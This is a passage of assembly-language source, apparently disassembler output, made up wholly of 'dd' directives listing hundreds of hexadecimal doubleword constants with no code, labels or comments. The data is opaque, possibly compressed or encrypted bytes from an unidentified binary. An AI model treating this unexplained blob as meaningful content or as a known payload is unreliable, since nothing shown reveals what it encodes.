		dd 2E7654D5h, 8627DE24h, 1D127F91h, 11E5F1C0h, 18816680h
		dd 5CBA15CFh, 2570B589h, 69870C9Ch, 296718D4h, 7519F5C2h
		dd 97DC2BB2h, 0FCB900D4h, 0A34180ACh, 0E2A3DDF4h, 50050DB2h
		dd 9F00CCh, 0A3636582h,	1309F69Eh, 49AE044Fh, 20790117h
		dd 57AFF424h, 0DDFEA309h
		dd 6F3F00DEh, 0E8AF35Eh, 64952E07h, 1457841h, 2ACE512Fh
		dd 0D0BA40B0h, 931FC264h, 3DC973A5h, 0A46A79ECh, 0F28E12B3h
		dd 0E8A1492Ah, 33020BE3h, 0B3020543h, 4DF7C79h,	0FF050460h
		dd 0B83FFDD1h, 1A3E4AAh, 29F3133Eh, 6CF5643Bh, 708A4B46h
		dd 0AB3BA234h, 2F275E6Eh, 9DBB18FFh, 6ABFC5E1h,	5A6EAA02h
		dd 0D6E5740Ah, 201D1CFAh, 79BBF6A0h, 4034E31Dh,	7239F3E5h
		dd 0FC657FDEh, 0BF4FAFCAh, 0CA4BBC3Fh, 0D0E912FFh, 7389D5F3h
		dd 0D98DB210h, 0AD3F1141h, 0A26900C9h, 2967B1B3h, 9707FEBDh
		dd 7935B0BAh, 0F43CD380h, 0BD276B84h, 0BF60D5D4h, 5C503256h
		dd 0A1C05951h, 406B4F8Dh, 7446EF00h, 4A0A407h, 4BB50165h
		dd 0EBFBF09Ah, 30A86A72h, 53BCFF59h, 0D8D3EF04h, 0C9C4A9F0h
		dd 0CB491F1Dh, 0ADE779B0h, 367B7D5h, 853519BAh,	182CC7F8h
		dd 4A5EFE27h, 0DBD37D0Ah, 3E4843D0h, 5292122Bh,	22ABBCBFh
		dd 0F9B51310h, 0D284AD22h, 0E501ECC0h, 0F84CF96Ah, 24EE0B5Eh
		dd 0CF82842Eh, 0C3EF2389h, 852F3B60h, 6CBB131Ah, 9A921BCEh
		dd 94F51D8Ah, 0B0404484h, 61BDF8E0h, 21EA8F76h,	6B71E4F9h
		dd 3181C6ACh, 7A30F1B5h, 4E1E75CCh, 6688D801h, 27777900h
		dd 5B589D82h, 0DFD62771h, 0DB810E40h, 9BF7D0Bh,	9B44D52Fh
		dd 12719D16h, 0D36B8CBBh, 17AC4101h, 6F08B8E7h,	0A6A75030h
		dd 0D531029Bh, 5B17492Bh, 0E75857E2h, 907A0241h, 10F2BF9Fh
		dd 182F099Dh, 4B516F0h,	8D7E4D3Eh, 7D5BC0D6h, 0AD1DCB77h
		dd 0D389B32Eh, 503AD066h, 7BC3DAD8h, 0B9D1EEEDh, 7C098014h
		dd 454A89ADh, 2CDB2E00h, 444D5C06h, 0D735A8CBh,	9F410F24h
		dd 4760BDFEh, 0E402BAE8h, 29F71401h, 5B83EE37h,	31A57BF5h
		dd 4900F744h, 865CD10Bh, 23E0532h, 0FB617C9Dh, 0D190858Bh
		dd 2509D381h, 0D06453A6h, 70049F58h, 8158E81Fh,	9456BB66h
		dd 0B50483Ah, 73D2AB1h,	12FDE903h, 7631F20Bh, 2388F84Eh
		dd 8D09882Ah, 7C94F14Dh, 8422874Dh, 2CE95921h, 4C0DF892h
		dd 645A4163h, 6D4E8D3Eh, 41F22D98h, 98DFFC46h, 6AF00379h
		dd 804BB797h, 8C6D2025h, 94E780Fh, 19C8189Ah, 70FCBDC0h
		dd 0ABA50B7Bh, 1866880Fh, 3F2FB120h, 0A354F0B9h, 0E48B97FEh
		dd 9300FAB7h, 0C46D289Ah, 858908A5h, 163B1815h,	0D749C18Dh
		dd 701D5BFCh, 0A002C859h, 6E32F938h, 8ED1F722h,	0D585018Bh
		dd 0B55F57E2h, 80191141h, 203DB149h, 0A3034F55h, 4070FEAh
		dd 0C7C0C022h, 67B9DB7h, 9BD8961h, 2B2F782Eh, 35B7D2h
		dd 296236DFh, 1E412195h, 202E3D2Fh, 152DFD16h, 782AF314h
		dd 8E002FBEh, 113DE840h, 9D819D03h, 4CBB3D16h, 5BFB7D52h
		dd 5F092B2Dh, 2DE1B0EDh, 0B3341237h, 2CEBD03h, 0C080601Dh
		dd 80C3F9E5h, 35CEA2D2h, 1509F094h, 0D15BFC2Ah,	4157595Dh
		dd 22975ADh, 70AE7B5Bh,	0EAE4DB5Bh, 26BE11Ch, 72A2B593h
		dd 6E30A18Dh, 98B87BFDh, 24EABB3Bh, 557365h, 13D61DCBh
		dd 359D3F2Bh, 811C91A7h, 686D84C6h, 0B2AD1D8h, 8E0FC1C9h
		dd 0DC8A5D48h, 0FBE1FF2Dh, 3CB170ABh, 4B475200h, 0DFBF2D8Ch
		dd 673B276Bh, 6113D845h, 0AF9BEB57h, 8B8E4989h,	0F4D11049h
		dd 5534DC4h, 0EB1CCD0Bh, 0E3049138h, 9CE80F69h,	7D146ADAh
		dd 7887CE30h, 3173D101h, 0C5D38AF6h, 3A779BF4h,	0B8E5C0A9h
		dd 6088A06Dh, 713797h, 0F685232Eh, 0B11DA486h, 426744B2h
		dd 70DE53F9h, 0A4744896h, 0C921F504h, 12FB52CEh, 36CEF161h
		dd 0F883F502h, 891AB052h, 5F317FF9h, 0AE73C529h, 822F5EB4h
		dd 4091DD5Eh, 0DA6CE04Ah, 288ABA05h, 64EB5398h,	75EA0EF1h
		dd 0BCC6ADD7h, 0D4008C1Dh, 564D06CFh, 266058BCh, 3A301A01h
		dd 81002C20h, 0A0D6DEDBh, 18BB5056h, 0D6BC8759h, 0B7952404h
		dd 200139E8h, 50994F8Bh, 1A4B2023h, 50AE5F81h, 4E00DCCAh
		dd 0CF239854h, 4EE9D5DFh, 925FA26Fh, 5F3DAF1Ah,	5260D218h
		dd 0C3B25851h, 70BA185Bh, 0E4047108h, 7006A639h, 27E0A858h
		dd 84C0F0C6h, 1CE850AFh, 0B33300F2h, 9E15FC50h,	28008D70h
		dd 0FF0D0896h, 2D3F2AF7h, 0A010EFC4h, 260023E1h, 0E3508015h
		dd 1229585Fh, 0E70F0985h, 976028E4h, 4E1D1920h,	4E2DE761h
		dd 0AB8099DAh, 65E951EAh, 8B273E92h, 0AA0266FAh, 60E25E84h
		dd 83F3DDBBh, 0B98D454Eh, 0F385122Bh, 0E06E4F97h, 89EE220Ch
		dd 810B66EAh, 0DE5E29E2h, 357D5270h, 0B9C83811h, 4B2B9510h
		dd 6EEEAFC5h, 0CA411695h, 17899E28h, 0D208058Dh, 2A2011F1h
		dd 0C816B6h, 51EDAC77h,	0D60104FCh, 2F0544BFh, 0F3AADA8Ah
		dd 0D895DEE0h, 0BF801D7Fh, 0F9084FE8h, 0BB600133h, 3A5B7644h
		dd 80D3B911h, 9697CC68h, 6288F01Fh, 0DDB34F02h,	33068B74h
		dd 251E8994h, 36C4DFB7h, 0C7306901h, 38F183A7h,	0A7CD8h
		dd 0C61DFB42h, 0AC6D40F9h, 0F5B6035Eh, 95FBB04h, 1F79F290h
		dd 8740B9FFh, 0E52AC544h, 8375010Ch, 0E19DB5BFh, 477AE094h
		dd 1E81E34Ah, 217B90FAh, 6B323D41h, 27641A05h, 62A5D6A8h
		dd 0ED566196h, 0A9633FDCh, 0D375DC00h, 0B526433Eh, 47D88B27h
		dd 0D6DEA667h, 220AA4Ah, 0DA614Dh, 53D8FCE5h, 719D3142h
		dd 4BED205Dh, 2B277C8Ah, 92B00510h, 0F5B062BDh,	0C6000C3Dh
		dd 0B9040A6h, 3B3AFF8Eh, 1A9AA565h, 4D7A52C0h, 66056D02h
		dd 33D1B816h, 1E6CA304h, 97A243E8h, 0AE64FF29h,	579A81F8h
		dd 0CDF398BDh, 21D80E8Ah, 4D60D116h, 0F76C3237h, 0DEDD110Ah
		dd 6959E2A7h, 60625DA7h, 46D63F5Eh, 30017716h, 0A311BF6Ah
		dd 0D689649Fh, 41D11256h, 0C0716DA7h, 7A183783h, 7E830299h
		dd 0E889B488h, 9C19F3h,	70BDCFD1h, 0A4E71352h, 2F2921E1h
		dd 16C8F9DAh, 0FD0733C1h, 2FDADD7Ah, 0A98078DAh, 708B33CAh
		dd 0FFB35012h, 0B5824FFDh, 5F0B1839h, 0E7904F64h, 19156D31h
		dd 1C70FAB7h, 0EAD39AD9h, 19A92DBDh, 456283F9h,	10811002h
		dd 0DED5F4B5h, 25907A00h, 971527E0h, 0A6BB6E7h,	0CBAE849Bh
		dd 0A6675708h, 0C9892592h, 46D691D4h, 643F1F16h, 0B85B9B67h
		dd 2FF37AD3h, 0B8584058h, 0E0B7345Eh, 5E8D8E40h, 0D6C4B207h
		dd 0AC81F6DAh, 0C807FC1Ah, 0DB046FE2h, 218D29FFh, 2F81EEE8h
		dd 3A18C95Ch, 0F7B6BD17h, 0E03A0CE0h, 0F2ABE209h, 96C5D08Eh
		dd 2B00DCA9h, 786E8808h, 5E49BD9Eh, 9CCB641h, 0D24C0ABBh
		dd 26F69FB5h, 71B100DEh, 0F9DBF60h, 75B001B8h, 0BDAE37B5h
		dd 0B4DCD09h, 0A3D47389h, 21846D6h, 0C55B7CEFh,	0A6315547h
		dd 6B278105h, 0FCDCBD43h, 9272C720h, 0A41EEAA9h, 0F88A273Eh
		dd 0F09E4C46h, 662200DCh, 16CCCDDDh, 52F9D29h, 0C4B75920h
		dd 23DEAB6Ch, 0E22735C4h, 3B33007Eh, 0BFE2ACF6h, 0BA8D0F1Ah
		dd 67EFC175h, 9CF196A9h, 0E6EA600h, 1A4263h, 0B357FB2h
		dd 0F8C154BDh, 383B2D10h, 4E074D10h, 52C531B5h,	1080F268h
		dd 610F6BCCh, 4E54040Eh, 4231C940h, 4BDD4D9h, 0FC65E380h
		dd 727AA70h, 0EC9FC198h, 85093C16h, 6E5070EDh, 9D6A4E8Eh
		dd 0EDDA6FACh, 7580A389h, 1893CF3h, 979BD13h, 182703F2h
		dd 6AC02C5h, 0D06B00D6h, 3ACEE1D7h, 0AB27657Ah,	25CE460Fh
		dd 3642DD8Ah, 4679AC5Eh, 0F4BDDEC2h, 0A46E9Dh, 8DBBAF57h
		dd 606D797Fh, 0FBD98A39h, 58525B17h, 0E0D250B9h, 8EBCC6B1h
		dd 0D3050189h, 0BB56B88h, 86BBA400h, 583647D7h,	522339Ah
		dd 68021EF8h, 2B606E4Dh, 0A05ADD9Dh, 0E961C109h, 0F098D042h
		dd 0A314D0DFh, 0B91EA517h
		dd 0E3E2D633h, 0BE3DCF00h, 50BA8854h, 42272590h, 5D2F8B6Ah
		dd 5560074Dh, 4E311BDFh, 0C4B2200Eh, 0BC0B0F90h, 768ADC43h
		dd 871F4FAh, 0E4465F00h, 6396C5C8h, 0EB81000Ah,	23F1C060h
		dd 0D55F9D89h, 0BD6AFEE5h, 0AB8F8h, 530F785h, 50C780B4h
		dd 0E5279EA0h, 0E829185Dh, 6A970372h, 83C60736h, 54558993h
		dd 3D162F29h, 3380A79Bh, 85E6CCBDh, 0B8759B09h,	8BEF82A6h
		dd 5CE2ABD8h, 23D0B04h,	0DB8430DCh, 233EBECEh, 6C3F051Ah
		dd 12F0EA12h, 0A7894BB7h, 0B01A567Eh, 9C44A2Eh,	870F8A88h
		dd 3A604A91h, 0E3399D20h, 862D0045h, 0A978AFE1h, 7C926693h
		dd 4C8CF94Eh, 53D124FFh, 0F25B92D3h, 57618BFFh,	9E4006CFh
		dd 30DF0394h, 0FE643FF9h, 0BD3026Ah, 0BD12B8E5h, 4998E051h
		dd 0F5F800Dh, 6E178127h, 8E1E3EC6h, 83CD4A00h, 7C333597h
		dd 0C6E63F0Ch, 97DE4EBCh, 0E9A08D4Ch, 848223FDh, 0BEBC0DB0h
		dd 564A31B2h, 0E871915Bh, 9180BE68h, 9B7D2B59h,	0FFCACD07h
		dd 0E611BDEAh, 352F82D4h, 2E18BED7h, 2CF81A5h, 379F6925h
		dd 0CED15090h, 0FA6DAE00h, 6EE7ADh, 0E3A099BDh,	0DE7A4D62h
		dd 4068A601h, 905B0942h, 0BE99E44h, 0AE91844Bh,	16C83BCFh
		dd 60179FC1h, 0C18A642Fh, 7B2BA171h, 9AA514ACh,	0A56BC0BFh
		dd 170F671Bh, 855DADBBh, 1BB6AAB0h, 13734BE0h, 0E083D499h
		dd 4C80EC63h, 0B12AC12Eh, 8F0F118Eh, 2B572608h,	4885A25h
		dd 0B19D035Bh, 0A38BBC1Bh, 31331DF3h, 0EFC1ED8Dh, 17587CB0h
		dd 19B80BF9h, 2DE7EB80h, 0E4254317h, 0D389E971h, 79C041A5h
		dd 0D52DB529h, 12B0FD08h, 9D1233C1h, 58F30451h,	0AEE4BB09h
		dd 31F8279h, 0FC6F8D40h, 5C9C20Ah, 8A352129h, 0F656EBF9h
		dd 8780E6ECh, 354EC3A7h, 800026F2h, 1F83157Bh, 1E401CB3h
		dd 2824576h, 0A59D0B22h, 2B2EE47Ah, 8516F0C8h, 77D16AF4h
		dd 0F86D5489h, 616B60E9h, 492E16BBh, 27F93D58h,	11491004h
		dd 0DF64BD1Eh, 0E129C6C6h, 0BDEAC20Eh, 195D2C7Dh, 8081A92h
		dd 398C288h, 0C366151h,	30EB6B1Ch, 29561B04h, 6BE1ED95h
		dd 2E82D92Bh, 0A5F84F27h, 0B7203FCEh, 90442FBh,	7BDC7EBBh
		dd 56E20B3Eh, 0E02D4D57h, 0D50C45A0h, 9E881809h, 0D5A48B4Dh
		dd 6A1218E5h, 8D6FAFh, 55199A0Ah, 25DB60B2h, 69ED296Eh
		dd 0B0671564h, 89E38023h, 6ADE93A1h, 0CE261DA9h, 0A7EA0031h
		dd 67C8264Ch, 7AFED212h, 7D80AEA8h, 0FCC3DD34h,	0D54B1E00h
		dd 0EB2234Dh, 32710F7Fh, 2132BD89h, 0D1B95FB4h,	0B79E6A10h
		dd 0E6B32980h, 6D16FBF2h, 0B4B139C5h, 462ED6Eh,	0F8BF0FFCh
		dd 0EB653582h, 8B6FD51Bh, 0C0D5E319h, 33E12A8Dh, 0C0C3DF6Fh
		dd 0C689315Ch, 0A8BF02ADh, 0BA50EA84h, 525C2A8Bh, 0BF52C725h
		dd 4F25BFBFh, 0B028E4h,	0D1E91B4Bh, 436903C0h, 0CA00E63Bh
		dd 0DF06C15Ah, 0DA2582h, 2FEC8021h, 3BB77A2Ch, 0B0B65B5Eh
		dd 302894Bh, 0BAD44D9Eh, 0C64B512Fh, 0C5FAA2ECh, 5ECF1497h
		dd 3B49E76Ah, 0B05B0099h, 6CD09A2Bh, 5BB8598Dh,	31278FFCh
		dd 4BD060DAh, 0BF3A978Bh, 0F64B44EDh, 5F0E4083h, 9D16014Ch
		dd 124B1A39h, 593AA9E1h, 526A4498h, 788876B2h, 3EFC608Ch
		dd 20615CD9h, 0DA817EC0h, 0B00D605h, 0C74B524h,	4BC6F35Ah
		dd 21898AE7h, 37DBA51Ch, 2648F658h, 6827F84h, 9260C913h
		dd 2DD354BFh, 0B170707Bh, 0CE6919C4h, 2EDA4CB2h, 736F4B12h
		dd 0A2916000h, 0F202F00Bh, 31799F02h, 10C41BDh,	221F800Fh
		dd 287E807Eh, 0B061BA91h, 24C8004Ch, 755FC10h, 7102E9BFh
		dd 89B6BBF4h, 924B5CB5h, 4C6AE45Bh, 0C504ED8Ah,	7AA404CDh
		dd 0D301ADB4h, 0F285D49Ah, 7D6AB8AAh, 0B59D1697h, 97434BEDh
		dd 3A35FB8Bh, 6EC1F9FAh, 0DF13911Fh, 3CBBC6C0h,	868AB738h
		dd 127406E5h, 95B8890h,	0DB0A57EEh, 3B2B80FDh, 0E73D4Eh
		dd 840C5EBEh, 48DD6843h, 60A29265h, 8E2937BFh, 0A85F6144h
		dd 4B2205F2h, 0CDB6468Dh, 0A5B69BE0h, 0B3F6B800h, 8A6F2FC5h
		dd 770BB7DEh, 46D6A6D4h, 0B687001Ah, 0E073CAE9h, 0BC604BA5h
		dd 27102089h, 46A0810Fh, 1E8F6AB9h, 7CBD61F6h, 9694AF4h
		dd 9A7434EDh, 6802C7E8h, 49BEE91Ah, 362EF84Bh, 39252C76h
		dd 0EB5AD60Fh, 0AFFD6E05h, 0E6B56345h, 27EC40FDh, 0F1A7E509h
		dd 0AB977334h, 0C6935841h, 9D60702h, 231A195h, 0F4D389F9h
		dd 69BC78h, 0AEAD4BB6h,	5D2B79E2h, 123FBB3Ah, 0C2294A60h
		dd 801EDA6Fh, 9D2B6505h, 891C4BE9h, 0F38DCDC4h,	0BB96BF1Ch
		dd 0A5FBA29Fh, 33C4450h, 5BC109A4h, 20884428h, 0C6F22352h
		dd 0D1492D00h, 4834CF2h, 0DC2F9496h, 4AF89800h,	39D258EEh
		dd 8074B5A2h, 178F5A81h, 4320F050h, 2B09416Dh, 1C04AB65h
		dd 68010529h, 30312757h, 0B525BFF9h, 945F0ABh, 5EDDCA8h
		dd 9000C744h, 18E28784h, 9791623Fh, 0C2749C2Bh,	0A57200F4h
		dd 823AC63Ch, 7890C932h, 90719312h, 503232FAh, 2EEBEB72h
		dd 0D380B002h, 24DC4541h, 0C600D60Bh, 0AE64D6F4h, 4E5939FBh
		dd 600E3003h, 9707E181h, 6176ABB9h, 0F2AF5315h,	0C55F2525h
		dd 25BBA0B1h, 37902E5h,	0AD2745C6h, 53F3E047h, 0E9250DB7h
		dd 0A5403D3Ch, 0EEA4055h, 0A11D97FCh, 9357DD2h,	2082C09h
		dd 511B0176h, 4A121068h, 2F2518A8h, 0B1C7EA79h,	50B59C48h
		dd 2F9EF30Ch, 0F11AFC27h, 6F67AFADh, 0E2DBCCD9h, 35B3142Fh
		dd 8D3B5179h, 3C6B2B08h, 0D0931523h, 8C2AA0A1h,	0C100BBF9h
		dd 1834D295h, 4C6C13D1h, 81141486h, 5E7CBF6Fh, 1E4C6E24h
		dd 17E61C6h, 0C25EDC97h, 0B22C7ED5h, 9ABA232Fh,	525623E2h
		dd 8273B362h, 9C1AEDCEh, 0D453B4A8h, 4814C71Dh,	0E2DEC18Ch
		dd 0F6E14ABBh, 0E9B513D3h, 0B8FDA756h, 8C1DACh,	1C1A4C3Bh
		dd 78534EF9h, 0D8A08D27h, 99EB80BDh, 493A972Bh,	0B8D88204h
		dd 3357091Ch, 11AB5FBDh, 0D469B07Eh, 0B439D452h, 0F218970h
		dd 355E83C7h, 0BF71091Bh, 971A3C1h, 0D2860F89h,	9109D23h
		dd 0AB008EA8h, 42E6437Eh, 4A6160BFh, 0D00EA85Bh, 231D109Eh
		dd 0ECB1B888h, 57020479h, 112DDA58h, 0DF11C286h, 0CEA54237h
		dd 12E14872h, 870DBD86h, 75AF10B6h, 0C985CCB7h,	0B4FA297Ah
		dd 69BC96DEh, 39D7BF47h, 701E739Bh, 0DF09B996h,	0FCBE4C9Fh
		dd 291612A4h, 21A90189h, 89DC2B03h, 97DF7080h, 1BB193Ch
		dd 13A8D950h, 43980F4h,	90CFD6Eh, 8B958850h, 20EA6044h
		dd 19EC2AB4h, 0B96D6705h, 78A35804h, 5FCEFC4Ah,	0DC00C9Bh
		dd 0C0BAB666h, 8529361Fh, 0B3E90CD2h, 0F68C1BBCh, 0B1480279h
		dd 88F2D5EEh, 94D2827Fh, 65125C8Fh, 2BFDC201h, 97C4770Bh
		dd 7445A825h, 0CA8B0563h, 95D67061h, 0EE950425h, 8C0F2FA8h
		dd 0C1249466h, 9512527Bh, 23113CEBh, 25B52988h,	6C7B04FDh
		dd 9D2B5182h, 258BDA0Dh, 5CFA8D89h, 81BF0095h, 23B1AED7h
		dd 16F15942h, 1F2D4118h, 0C10590A1h, 0AC7300B6h, 476763C9h
		dd 82FBB86h, 0F81F8B8h,	0FA66CF81h, 0E95F75C0h,	0FF71F403h
		dd 360B7B7h, 17F67467h,	0BBB431F8h, 0B687D104h,	35BB5112h
		dd 0CC6DF196h, 400ABFC1h, 0B65786DAh, 0D4254109h, 0F9F3C091h
		dd 4DBD62C1h, 403AC4EFh, 8D910C3Ch, 0BCF10012h,	0A9E4EF78h
		dd 0CC00FA65h, 0B3D24DD1h, 1FB13AFEh, 5618379Fh, 5FDF8A1h
		dd 0B8F31F88h, 335020BBh, 0DC486FC8h, 575503B1h, 173A413Ch
		dd 0A9998360h, 4A79005Eh, 0E8E09DACh, 0C448006Ch, 5A72295Bh
		dd 7A0F0305h, 0C0F46741h
		dd 7D8DB16Ah, 57E100E2h, 2A224635h, 45F25D6Eh, 0F087F600h
		dd 17090D53h, 5123C50h,	0A0520B2Fh, 0F3AADC05h,	0BB5C2Fh
		dd 2C69647Fh, 7A00B81Ch, 0DDEEA9A5h, 0D75887h, 66B0A77Dh
		dd 4F7BE4ACh, 5B02DA98h, 0C047772Eh, 761BF5CDh,	6B67A6B8h
		dd 0F439C217h, 0D102DB00h, 0E783556h, 0ADBBD054h, 0B881B609h
		dd 0CCCE4411h, 8C48BCEFh, 0B2E83090h, 22A412Eh,	95070228h
		dd 51FA9C85h, 8B1839h, 0E0415148h, 18569A8Dh, 38D32417h
		dd 592FDBBFh, 30235882h, 0B01983BCh, 0BA02B8DFh, 8594CD74h
		dd 8056FE02h, 8CFD8BAEh, 6E72ADD1h, 24FB3900h, 0D526A23h
		dd 898107FCh, 0E0DDD8F6h, 0C2FAB7D2h, 1792BD00h, 6B8231E7h
		dd 0C47718B0h, 0FB5F68E1h, 8473D700h, 702D5E6Dh, 4FE8185Bh
		dd 0B1DC21FCh, 0BC00BE98h, 2325C276h, 0BD6EA468h, 497A5A48h
		dd 45F2AEA0h, 0F01F2E16h, 0DCEEAA03h, 5B73C05Ah, 0A3DB30FFh
		dd 89B8C749h, 0AE1E1400h, 70BD2813h, 6A9261C1h,	85A99805h
		dd 52262A0Dh, 0E150E706h, 16624C15h, 0D2207702h, 8B828B1Ch
		dd 0AF205E9Ah, 1D4952D9h, 0A761A07h, 805241CBh,	0D115A04Fh
		dd 0A800D5BCh, 5EFA1236h, 879AF1h, 1F2ACCF8h, 0CAEE6A62h
		dd 74934807h, 5B80F539h, 3E491626h, 1263403Bh, 0AF2F703h
		dd 3FA5F282h, 36567325h, 0F3BA900h, 3E4D1Ch, 833D4B43h
		dd 95AE28FEh, 0C10E777Fh, 0E2B4D33Ah, 0F5DE1418h, 0A919515h
		dd 7263E03h, 1DE02E6Dh,	5D1EC74Dh, 0F9CC6C67h, 5BC93F4Ah
		dd 79E3F445h, 17C64113h, 0CB008B1Dh, 0C3D3A0B0h, 3AB8F6h
		dd 5030E032h, 7DC39B1h,	22F0F500h, 197487ABh, 0DFAD339Ch
		dd 0D0D82652h, 0EC0E64D7h, 0E0A4B715h, 8A0B09FBh, 0DCC2004Ch
		dd 0AAA1A549h, 0ECCFB5D3h, 205C6EF5h, 0A7070D63h, 0F7A600D8h
		dd 7DCC69C4h, 5503E418h, 8FD6BC54h, 4C00EFD1h, 8E4AC8h
		dd 215C6EFDh, 930A3CD3h, 0CEE87800h, 0E6B2E5C6h, 91C0097h
		dd 0CA1FD54Bh, 0C0048DEh, 1B172731h, 187844CEh,	60D00439h
		dd 0A928C00Fh, 0F104CD9Ah, 22595476h, 0DC534CD7h, 0E629056Dh
		dd 0EA149062h, 9C4ABE04h, 0F5B05880h, 0A64101C5h, 4724EEABh
		dd 629C9830h, 61B36Eh, 21E598AAh, 49F2136Ah, 0A7819202h
		dd 0F5EF9438h, 603D6A27h, 8F8BA987h, 25E224F1h,	5EB1E4B7h
		dd 38BCA0C7h, 0B70FA390h, 5868DB44h, 454098h, 0E0D43048h
		dd 0C7F9969Ch, 0D70F50ECh, 0F3B6C6B5h, 187CDA47h, 0C2AA8A52h
		dd 0A60780CDh, 0A4D7E9h, 0BED56294h, 0D3F57D8Fh, 24A0D81Ch
		dd 8A50FC03h, 14981C18h, 805E2069h, 5E43C0A4h, 0FCB9A190h
		dd 7F073A55h, 3949CB4Fh, 0B5842571h, 0FD621F81h, 0D0759096h
		dd 0F500BB44h, 3155AD82h, 183CAF1Ah, 2A1040F3h,	203E5D68h
		dd 0EAFE076Ch, 80E97DDDh, 0D88B0AB5h, 5E33900Bh, 558F01Bh
		dd 22145800h, 0F9B97BDBh, 0C9FB1E82h, 23E9CCC5h, 0E6076A2Ah
		dd 3D4ECAC2h, 0F2174186h, 0AAB4197Eh, 4CC0D1A3h, 6A4083B4h
		dd 0FB100074h, 1F2F6664h, 305E03ACh, 0BB3D8A0h,	5D69ABCFh
		dd 7E8DDB00h, 0AA00E1EFh, 0D3FA868h, 30CF6E9Eh,	7A2E9B71h
		dd 9309601h, 0D5B9113Ah, 59B0165Fh, 0E1A84E2Ah,	38477400h
		dd 7807900Dh, 895161Ch,	4FCD8970h, 0B85A4C21h, 0C246A200h
		dd 62D15EC9h, 5FDC6917h, 0D6066BCh, 8DF1C549h, 58278700h
		dd 8A548526h, 98990075h, 532C5C40h, 43307B32h, 7FE06B3Ch
		dd 0ED120018h, 3534E70Eh, 86039813h, 0FCA7770Ch, 55E800DEh
		dd 6ACBC0B4h, 0F52965EBh, 0D28D5645h, 0A20DFE6Eh, 68D9A802h
		dd 0BA54E787h, 43440009h, 0DAE9764Ah, 330097A7h, 89D0EB0Fh
		dd 0B8F50578h, 5C230014h, 30AF732Ah, 6F3C9F0Eh,	819E80CEh
		dd 920F3EEEh, 0E7E5007Ah, 2D6A9CACh, 98057CC6h,	97A9D83Fh
		dd 98D2B91h, 0F72FB722h, 74F0459h, 8E91027Bh, 0C07ED784h
		dd 87EE4D1Fh, 57467805h, 944B54D3h, 0FFF29171h,	0E511CB7Ah
		dd 5AB4161Eh, 0E3E233A1h, 0C113C6Fh, 0C721B35Eh, 5CF53C87h
		dd 0F25B1B05h, 366918BAh, 43BC483h, 7E1EEB54h, 0F05165B1h
		dd 461C954Fh, 0BA2B8Fh,	0D8B85008h, 0C9B43h, 922DD0F7h
		dd 31C7D575h, 4A5820CDh, 20EDCB6Fh, 0EAEFB783h,	895308h
		dd 0E42FF445h, 86053B23h, 0F717B857h, 0AFE930EAh, 0D1FD902h
		dd 7C808B6Dh, 2CE45131h, 0EE8416A8h, 98300129h,	0D0DB5625h
		dd 360E4D71h, 23A67B75h, 0C35D016Dh, 0F6078592h, 0E4206E09h
		dd 1A90BFAh, 0B23B771Dh, 3A23D026h, 6A3BE79Dh, 82D400CAh
		dd 1A0AC4BCh, 0EF3B056Ah, 0EABD8529h, 8E0F6343h, 88334B15h
		dd 5B00BB4Ah, 2C0868Ah,	13D11EA2h, 0E0C2A9F9h, 8BB55F65h
		dd 7D7940h, 0D3841C17h,	638C31Fh, 0C40500F9h, 0BB8F4E7Dh
		dd 3D2B9583h, 9F80E1D1h, 30526748h, 64EAD6h, 0F28EB1E8h
		dd 66414DD3h, 0DB80F0C2h, 0F4E55E2Dh, 0A3D57905h, 73C02EA8h
		dd 4B0FB9BEh, 0B75E4580h, 10B102CFh, 0CD5D18FAh, 0BB27E3CCh
		dd 0C58C808Dh, 0DB7481F7h, 3A372A13h, 0E16DA6F1h, 9901EEB8h
		dd 0ABCE8033h, 8D2EEB3Eh, 0B4803B83h, 0BD6175DFh, 5264CF54h
		dd 0C90F5CBFh, 117DF58Dh, 7A6FF8F5h, 7329010Dh,	0B02FC089h
		dd 0E19EC56Eh, 0EFBD7FDAh, 81F07DA9h, 6130F36Ch, 0C25BB62Ch
		dd 0EE5F1926h, 0FFFC4402h, 0D84FD174h, 0A621A4CAh, 0E9B0216h
		dd 2989EA80h, 0C466E8E1h, 44EADE6Eh, 0DDB6906Dh, 0F0FC3D40h
		dd 3B502ADh, 1909CC8Eh,	4095F1DFh, 0C72599BBh, 7E122F6Bh
		dd 4C140EC5h, 0AF907884h, 4D8075DBh, 0F3BB9F64h, 1CA5104h
		dd 0D4F159BDh, 0B27FB63Ah, 59F7321Bh, 1C2D0150h, 3F0CE0E9h
		dd 901AE92Ch, 0D0499398h, 5D013DFCh, 2894ED01h,	0A12B29D7h
		dd 0E1323E1Ah, 99C188F9h, 56F12B02h, 0DD6B4A4Ah, 0E4029A37h
		dd 7E3315EBh, 0FDF5C4DEh, 0C8C997C1h, 2C20A43Eh, 35B54713h
		dd 0E3C12AA9h, 0F26A3EEBh, 503757h, 0CA50F18Bh,	9077184h
		dd 8589C934h, 0B9A40D25h, 0F4254A01h, 0DD72D0Eh, 9F1FEBA0h
		dd 15EFA194h, 0AA935917h, 89F981B0h, 9F0E21E4h,	0DBBEA2ACh
		dd 0E435F60Eh, 0CABBE271h, 0BEA57EDEh, 0B6202AC5h, 93E091h
		dd 0AF091AC3h, 49636BD0h, 0B7027F00h, 42B903EEh, 0BD899F88h
		dd 8A6C7FDCh, 0D556BF71h, 0D77ECCh, 0C18BD2B1h,	1CD19589h
		dd 40C8929Fh, 8224D900h, 0BB00B77Ch, 5A7C5F53h,	0B3C8122Bh
		dd 0A008FE22h, 5D71AD86h, 9C6EA480h, 0D56F3Ch, 974E75F9h
		dd 858BA656h, 0A54C4438h, 6906FC5Fh, 812E9FF2h,	1037D6F7h
		dd 7EDE8A02h, 5010919Ch, 0E930F546h, 160114Bh, 0AC115485h
		dd 146CBD61h, 62294980h, 0CFEECB00h, 0FA5806F0h, 2B6A13EAh
		dd 22A4F2F4h, 0F7C58022h, 0C38EC287h, 0AD7EC1E0h, 0D49D29C3h
		dd 952895B9h, 0D8F94F68h, 6641E8ADh, 1CBE5085h,	0F7F6BE6Ah
		dd 67D545E0h, 2DB15901h, 0A9FBBE7Ah, 4B492A60h,	0D268F926h
		dd 0BA9273ACh, 6422A4h,	89344936h, 0D7130203h, 0F0C5EA13h
		dd 0BB8284B9h, 0CCA272C0h, 0B90201FDh, 0DBBDAB17h, 979F70E3h
		dd 0F623B100h, 0BD29B4C4h, 26A9D45Dh, 0AE61844Fh, 0EB171D6Eh
		dd 1D94FF01h, 0FC2583F8h, 76702E73h, 6D412DAh, 2724BB34h
		dd 159D8304h, 0DBC02B04h, 846C077h, 18314FDDh, 0AD19E1B5h
